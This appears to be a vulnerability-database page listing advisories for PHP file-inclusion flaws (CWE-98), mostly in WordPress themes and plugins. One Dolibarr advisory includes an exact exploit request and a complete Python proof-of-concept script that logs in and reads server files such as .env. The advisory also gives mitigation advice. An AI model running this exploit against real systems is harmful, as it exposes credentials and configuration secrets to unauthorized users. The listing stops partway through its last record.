Common Weakness Enumeration
CWE-98
AllowedImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Abstraction: Variant · Status: Draft
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.
2482 vulnerabilities reference this CWE, most recent first.
GHSA-2JMV-V5XF-W928
Vulnerability from github – Published: 2025-12-18 09:30 – Updated: 2026-01-20 15:32
VLAI
Details
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Beautique beautique allows PHP Local File Inclusion.This issue affects Beautique: from n/a through <= 1.5.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2025-53446"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-18T08:15:55Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in axiomthemes Beautique beautique allows PHP Local File Inclusion.This issue affects Beautique: from n/a through \u003c= 1.5.",
"id": "GHSA-2jmv-v5xf-w928",
"modified": "2026-01-20T15:32:20Z",
"published": "2025-12-18T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53446"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/beautique/vulnerability/wordpress-beautique-theme-1-5-local-file-inclusion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Theme/beautique/vulnerability/wordpress-beautique-theme-1-5-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2JPF-9J3V-G4H8
Vulnerability from github – Published: 2025-08-20 09:30 – Updated: 2026-04-01 18:35
VLAI
Details
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Tribulant Software Newsletters allows PHP Local File Inclusion. This issue affects Newsletters: from n/a through 4.10.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-54034"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T08:15:47Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in Tribulant Software Newsletters allows PHP Local File Inclusion. This issue affects Newsletters: from n/a through 4.10.",
"id": "GHSA-2jpf-9j3v-g4h8",
"modified": "2026-04-01T18:35:56Z",
"published": "2025-08-20T09:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54034"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/newsletters-lite/vulnerability/wordpress-newsletters-4-10-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2M34-QQP3-PJCJ
Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-29 00:31
VLAI
Details
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Indoor Plants indoor-plants allows PHP Local File Inclusion.This issue affects Indoor Plants: from n/a through <= 1.2.7.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2025-69066"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-22T17:16:20Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in AncoraThemes Indoor Plants indoor-plants allows PHP Local File Inclusion.This issue affects Indoor Plants: from n/a through \u003c= 1.2.7.",
"id": "GHSA-2m34-qqp3-pjcj",
"modified": "2026-01-29T00:31:11Z",
"published": "2026-01-22T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69066"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/indoor-plants/vulnerability/wordpress-indoor-plants-theme-1-2-7-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2M5J-JX9R-GPV2
Vulnerability from github – Published: 2025-08-28 15:30 – Updated: 2026-04-01 18:36
VLAI
Details
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in TieLabs Jannah allows PHP Local File Inclusion. This issue affects Jannah: from n/a through 7.4.1.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2025-53334"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-28T13:16:04Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in TieLabs Jannah allows PHP Local File Inclusion. This issue affects Jannah: from n/a through 7.4.1.",
"id": "GHSA-2m5j-jx9r-gpv2",
"modified": "2026-04-01T18:36:01Z",
"published": "2025-08-28T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53334"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/jannah/vulnerability/wordpress-jannah-theme-7-4-1-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MFJ-R695-5H9R
Vulnerability from github – Published: 2026-03-27 18:04 – Updated: 2026-03-31 18:40
VLAI
Summary
Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php
Details
Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure
Target
Dolibarr Core (Tested on version 22.0.4)
Summary
A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…).
Vulnerability Details
The vulnerability is caused by a critical design flaw in /core/ajax/selectobject.php where dynamic file inclusion occurs before any access control checks are performed, combined with a fail-open logic in the core ACL function.
- Arbitrary File Inclusion BEFORE Authorization: The endpoint parses the
objectdescparameter into a$classpath. IffetchObjectByElementfails (e.g., by providing a fake class likeA:conf/.htaccess:0), the application falls back todol_include_once($classpath)at line 71. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens before the application checks any user permissions. - Access Control Bypass (Fail-Open): At line 102, the application finally attempts to verify permissions by calling
restrictedArea(). Because the object creation failed, the$featuresparameter sent torestrictedArea()is empty (''). Insidesecurity.lib.php, if the$featuresparameter is empty, the access check block is completely skipped, leaving the$readokvariable at1. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.
This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like .htaccess, .env, .json, .sql) are dumped into the HTTP response before the application crashes.
Steps to Reproduce
- Log in to the Dolibarr instance with any user account (no specific permissions required).
- Intercept or manually forge a GET request to the following endpoint:
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0
- Observe the HTTP response. The contents of the
conf/.htaccessfile will be reflected in the response body right before the PHP Fatal Error message. - (Optional) Run the attached Python PoC to automate the extraction:
python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess
Impact
An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.
Suggested Mitigation
- Input Validation & Whitelisting: The
$classpathmust be strictly validated or whitelisted before being passed todol_include_once(). - Execution Flow Correction: The file inclusion logic must never be executed before the user's authorization has been fully verified.
- Enforce Fail-Secure ACLs: Modify
restrictedArea()incore/lib/security.lib.phpso that if the$featuresparameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.
Disclosure Policy & Assistance
The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.
Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.
Thank you for the time and commitment to securing Dolibarr.
Best Regards, Vincent KHAYAT (cnf409)
Video PoC
https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844
PoC Script
#!/usr/bin/env python3
"""Dolibarr selectobject.php authenticated LFI PoC"""
import argparse
import html
import re
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar
LOGIN_MARKERS = ("Login @", "Identifiant @")
LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")
def request(
opener, base_url, method, path, params=None, data=None, timeout=15
):
url = f"{base_url.rstrip('/')}{path}"
if params:
url = f"{url}?{urllib.parse.urlencode(params)}"
payload = urllib.parse.urlencode(data).encode("utf-8") if data else None
req = urllib.request.Request(url, method=method.upper(), data=payload)
req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr")
req.add_header("Accept", "text/html,application/xhtml+xml")
try:
with opener.open(req, timeout=timeout) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as err:
return err.code, err.read().decode("utf-8", errors="replace")
def extract_login_token(page):
for pattern in (
r'name=["\']token["\']\s+value=["\']([^"\']*)["\']',
r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']',
):
match = re.search(pattern, page, flags=re.IGNORECASE)
if match:
return match.group(1)
return ""
def looks_authenticated(body):
return any(marker in body for marker in LOGOUT_MARKERS)
def clean_included_output(body):
for marker in (
"<br />\n<b>Warning",
"<br />\r\n<b>Warning",
"<br />\n<b>Fatal error",
"<br />\r\n<b>Fatal error",
):
pos = body.find(marker)
if pos != -1:
return body[:pos].rstrip()
return body.rstrip()
def login(opener, base_url, username, password):
code, login_page = request(opener, base_url, "GET", "/")
if code >= 400:
return False, f"HTTP {code} on login page"
token = extract_login_token(login_page)
code, after_login = request(
opener,
base_url,
"POST",
"/index.php?mainmenu=home",
data={
"token": token,
"actionlogin": "login",
"loginfunction": "loginfunction",
"username": username,
"password": password,
},
)
if code >= 400:
return False, f"HTTP {code} on login request"
if looks_authenticated(after_login):
return True, ""
code, home = request(opener, base_url, "GET", "/index.php?mainmenu=home")
if code < 400 and looks_authenticated(home):
return True, ""
return False, "Invalid username or password"
def read_file(opener, base_url, relative_path):
status, body = request(
opener,
base_url,
"GET",
"/core/ajax/selectobject.php",
params={
"outjson": "0",
"htmlname": "x",
"objectdesc": f"A:{relative_path}:0",
},
)
if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):
raise RuntimeError("Session expired or not authenticated")
return status, body, clean_included_output(body)
def parse_args():
parser = argparse.ArgumentParser(
description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)."
)
parser.add_argument(
"--url",
default="http://127.0.0.1:8080",
help="Dolibarr base URL (default: http://127.0.0.1:8080)",
)
parser.add_argument("--username", required=True, help="Dolibarr username")
parser.add_argument("--password", required=True, help="Dolibarr password")
parser.add_argument(
"--file",
dest="target_file",
required=True,
help="Target file to read (e.g. conf/.htaccess).",
)
return parser.parse_args()
def print_result(path, status, raw, clean):
print(f"\n[+] HTTP status: {status}")
print(f"[+] Requested file: {path}")
print("=" * 80)
if clean:
print(html.unescape(clean))
else:
print("(No readable output extracted)")
print("=" * 80)
if clean != raw.rstrip():
print("[i] PHP warnings/fatal output were trimmed from display.")
def summarize_error_body(body, limit=1200):
text = html.unescape(body).strip()
if not text:
return "(Empty response body)"
if len(text) > limit:
return text[:limit].rstrip() + "\n... [truncated]"
return text
def main():
args = parse_args()
opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(CookieJar())
)
ok, reason = login(opener, args.url, args.username, args.password)
if not ok:
print(f"[!] {reason}")
return 1
print("[+] Login successful.")
try:
status, raw, clean = read_file(opener, args.url, args.target_file)
if status >= 400:
print(f"[!] HTTP {status} while reading target file.")
print("=" * 80)
print(summarize_error_body(raw))
print("=" * 80)
return 1
print_result(args.target_file, status, raw, clean)
return 0
except Exception as exc:
print(f"[!] Error: {exc}")
return 1
if __name__ == "__main__":
try:
raise SystemExit(main())
except KeyboardInterrupt:
print("\nInterrupted.")
raise SystemExit(130)
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dolibarr/dolibarr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "22.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34036"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:04:19Z",
"nvd_published_at": "2026-03-31T03:15:57Z",
"severity": "MODERATE"
},
"details": "# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure\n\n## Target\n\nDolibarr Core (Tested on version 22.0.4)\n\n## Summary\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs\u2026).\n\n## Vulnerability Details\n\nThe vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.\n\n- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions.\n- **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`\u0027\u0027`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.\n\nThis allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.\n\n## Steps to Reproduce\n\n- Log in to the Dolibarr instance with any user account (no specific permissions required).\n- Intercept or manually forge a GET request to the following endpoint:\n\n```\nGET /core/ajax/selectobject.php?outjson=0\u0026htmlname=x\u0026objectdesc=A:conf/.htaccess:0\n```\n\n- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message.\n- *(Optional)* Run the attached Python PoC to automate the extraction:\n\n```\npython3 poc.py --url http://target.com --username \u0027\u003cusername\u003e\u0027 --password \u0027\u003cpassword\u003e\u0027 --file conf/.htaccess\n```\n\n## Impact\n\nAn attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.\n\n## Suggested Mitigation\n\n- **Input Validation \u0026 Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`.\n- **Execution Flow Correction:** The file inclusion logic must never be executed before the user\u0027s authorization has been fully verified.\n- **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.\n\n## Disclosure Policy \u0026 Assistance\n\nThe reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.\n\nShould any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.\n\nThank you for the time and commitment to securing Dolibarr.\n\nBest Regards,\nVincent KHAYAT (cnf409)\n\n## Video PoC\n\nhttps://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844\n\n## PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Dolibarr selectobject.php authenticated LFI PoC\"\"\"\n\nimport argparse\nimport html\nimport re\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom http.cookiejar import CookieJar\n\nLOGIN_MARKERS = (\"Login @\", \"Identifiant @\")\nLOGOUT_MARKERS = (\"/user/logout.php\", \"Logout\", \"Mon tableau de bord\")\n\ndef request(\n opener, base_url, method, path, params=None, data=None, timeout=15\n):\n url = f\"{base_url.rstrip(\u0027/\u0027)}{path}\"\n if params:\n url = f\"{url}?{urllib.parse.urlencode(params)}\"\n payload = urllib.parse.urlencode(data).encode(\"utf-8\") if data else None\n req = urllib.request.Request(url, method=method.upper(), data=payload)\n req.add_header(\"User-Agent\", \"dolibarr-lfi-poc/1.0-securitytest-for-dolibarr\")\n req.add_header(\"Accept\", \"text/html,application/xhtml+xml\")\n try:\n with opener.open(req, timeout=timeout) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n except urllib.error.HTTPError as err:\n return err.code, err.read().decode(\"utf-8\", errors=\"replace\")\n\ndef extract_login_token(page):\n for pattern in (\n r\u0027name=[\"\\\u0027]token[\"\\\u0027]\\s+value=[\"\\\u0027]([^\"\\\u0027]*)[\"\\\u0027]\u0027,\n r\u0027name=[\"\\\u0027]anti-csrf-newtoken[\"\\\u0027]\\s+content=[\"\\\u0027]([^\"\\\u0027]*)[\"\\\u0027]\u0027,\n ):\n match = re.search(pattern, page, flags=re.IGNORECASE)\n if match:\n return match.group(1)\n return \"\"\n\ndef looks_authenticated(body):\n return any(marker in body for marker in LOGOUT_MARKERS)\n\ndef clean_included_output(body):\n for marker in (\n \"\u003cbr /\u003e\\n\u003cb\u003eWarning\",\n \"\u003cbr /\u003e\\r\\n\u003cb\u003eWarning\",\n \"\u003cbr /\u003e\\n\u003cb\u003eFatal error\",\n \"\u003cbr /\u003e\\r\\n\u003cb\u003eFatal error\",\n ):\n pos = body.find(marker)\n if pos != -1:\n return body[:pos].rstrip()\n return body.rstrip()\n\ndef login(opener, base_url, username, password):\n code, login_page = request(opener, base_url, \"GET\", \"/\")\n if code \u003e= 400:\n return False, f\"HTTP {code} on login page\"\n token = extract_login_token(login_page)\n code, after_login = request(\n opener,\n base_url,\n \"POST\",\n \"/index.php?mainmenu=home\",\n data={\n \"token\": token,\n \"actionlogin\": \"login\",\n \"loginfunction\": \"loginfunction\",\n \"username\": username,\n \"password\": password,\n },\n )\n if code \u003e= 400:\n return False, f\"HTTP {code} on login request\"\n if looks_authenticated(after_login):\n return True, \"\"\n code, home = request(opener, base_url, \"GET\", \"/index.php?mainmenu=home\")\n if code \u003c 400 and looks_authenticated(home):\n return True, \"\"\n return False, \"Invalid username or password\"\n\ndef read_file(opener, base_url, relative_path):\n status, body = request(\n opener,\n base_url,\n \"GET\",\n \"/core/ajax/selectobject.php\",\n params={\n \"outjson\": \"0\",\n \"htmlname\": \"x\",\n \"objectdesc\": f\"A:{relative_path}:0\",\n },\n )\n if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):\n raise RuntimeError(\"Session expired or not authenticated\")\n return status, body, clean_included_output(body)\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description=\"Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4).\"\n )\n parser.add_argument(\n \"--url\",\n default=\"http://127.0.0.1:8080\",\n help=\"Dolibarr base URL (default: http://127.0.0.1:8080)\",\n )\n parser.add_argument(\"--username\", required=True, help=\"Dolibarr username\")\n parser.add_argument(\"--password\", required=True, help=\"Dolibarr password\")\n parser.add_argument(\n \"--file\",\n dest=\"target_file\",\n required=True,\n help=\"Target file to read (e.g. conf/.htaccess).\",\n )\n return parser.parse_args()\n\ndef print_result(path, status, raw, clean):\n print(f\"\\n[+] HTTP status: {status}\")\n print(f\"[+] Requested file: {path}\")\n print(\"=\" * 80)\n if clean:\n print(html.unescape(clean))\n else:\n print(\"(No readable output extracted)\")\n print(\"=\" * 80)\n if clean != raw.rstrip():\n print(\"[i] PHP warnings/fatal output were trimmed from display.\")\n\ndef summarize_error_body(body, limit=1200):\n text = html.unescape(body).strip()\n if not text:\n return \"(Empty response body)\"\n if len(text) \u003e limit:\n return text[:limit].rstrip() + \"\\n... [truncated]\"\n return text\n\ndef main():\n args = parse_args()\n opener = urllib.request.build_opener(\n urllib.request.HTTPCookieProcessor(CookieJar())\n )\n ok, reason = login(opener, args.url, args.username, args.password)\n if not ok:\n print(f\"[!] {reason}\")\n return 1\n print(\"[+] Login successful.\")\n try:\n status, raw, clean = read_file(opener, args.url, args.target_file)\n if status \u003e= 400:\n print(f\"[!] HTTP {status} while reading target file.\")\n print(\"=\" * 80)\n print(summarize_error_body(raw))\n print(\"=\" * 80)\n return 1\n print_result(args.target_file, status, raw, clean)\n return 0\n except Exception as exc:\n print(f\"[!] Error: {exc}\")\n return 1\n\nif __name__ == \"__main__\":\n try:\n raise SystemExit(main())\n except KeyboardInterrupt:\n print(\"\\nInterrupted.\")\n raise SystemExit(130)\n```",
"id": "GHSA-2mfj-r695-5h9r",
"modified": "2026-03-31T18:40:14Z",
"published": "2026-03-27T18:04:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34036"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a"
},
{
"type": "PACKAGE",
"url": "https://github.com/Dolibarr/dolibarr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php "
}
GHSA-2MM5-94GQ-67XJ
Vulnerability from github – Published: 2026-03-05 06:30 – Updated: 2026-03-10 18:31
VLAI
Details
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Zentrum zentrum allows PHP Local File Inclusion.This issue affects Zentrum: from n/a through <= 1.0.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2026-22441"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-05T06:16:18Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in Elated-Themes Zentrum zentrum allows PHP Local File Inclusion.This issue affects Zentrum: from n/a through \u003c= 1.0.",
"id": "GHSA-2mm5-94gq-67xj",
"modified": "2026-03-10T18:31:14Z",
"published": "2026-03-05T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22441"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/zentrum/vulnerability/wordpress-zentrum-theme-1-0-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MPW-V9VF-MX9C
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35
VLAI
Details
Unauthenticated Local File Inclusion in ITactics <= 1.0 versions.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2025-69176"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T13:19:25Z",
"severity": "HIGH"
},
"details": "Unauthenticated Local File Inclusion in ITactics \u003c= 1.0 versions.",
"id": "GHSA-2mpw-v9vf-mx9c",
"modified": "2026-06-17T18:35:44Z",
"published": "2026-06-17T18:35:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69176"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/itactics/vulnerability/wordpress-itactics-theme-1-0-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MRG-2QCJ-P8QP
Vulnerability from github – Published: 2025-12-18 09:30 – Updated: 2026-01-20 15:32
VLAI
Details
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Towny towny allows PHP Local File Inclusion.This issue affects Towny: from n/a through <= 1.16.
Severity
8.2 (High)
{
"affected": [],
"aliases": [
"CVE-2025-58889"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-18T08:15:58Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in axiomthemes Towny towny allows PHP Local File Inclusion.This issue affects Towny: from n/a through \u003c= 1.16.",
"id": "GHSA-2mrg-2qcj-p8qp",
"modified": "2026-01-20T15:32:22Z",
"published": "2025-12-18T09:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58889"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/towny/vulnerability/wordpress-towny-theme-1-16-local-file-inclusion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Theme/towny/vulnerability/wordpress-towny-theme-1-16-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2P69-HM49-C5F7
Vulnerability from github – Published: 2025-07-04 12:30 – Updated: 2026-04-28 21:35
VLAI
Details
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in LCweb PrivateContent - Mail Actions allows PHP Local File Inclusion. This issue affects PrivateContent - Mail Actions: from n/a through 2.3.2.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-47627"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-04T12:15:28Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in LCweb PrivateContent - Mail Actions allows PHP Local File Inclusion. This issue affects PrivateContent - Mail Actions: from n/a through 2.3.2.",
"id": "GHSA-2p69-hm49-c5f7",
"modified": "2026-04-28T21:35:42Z",
"published": "2025-07-04T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47627"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/private-content-mail-actions/vulnerability/wordpress-privatecontent-mail-actions-plugin-2-3-2-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2P6R-C283-8M75
Vulnerability from github – Published: 2025-02-25 15:34 – Updated: 2026-04-01 18:33
VLAI
Details
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Deetronix Affiliate Coupons allows PHP Local File Inclusion. This issue affects Affiliate Coupons: from n/a through 1.7.3.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-26957"
],
"database_specific": {
"cwe_ids": [
"CWE-98"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-25T15:15:29Z",
"severity": "HIGH"
},
"details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in Deetronix Affiliate Coupons allows PHP Local File Inclusion. This issue affects Affiliate Coupons: from n/a through 1.7.3.",
"id": "GHSA-2p6r-c283-8m75",
"modified": "2026-04-01T18:33:50Z",
"published": "2025-02-25T15:34:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26957"
},
{
"type": "WEB",
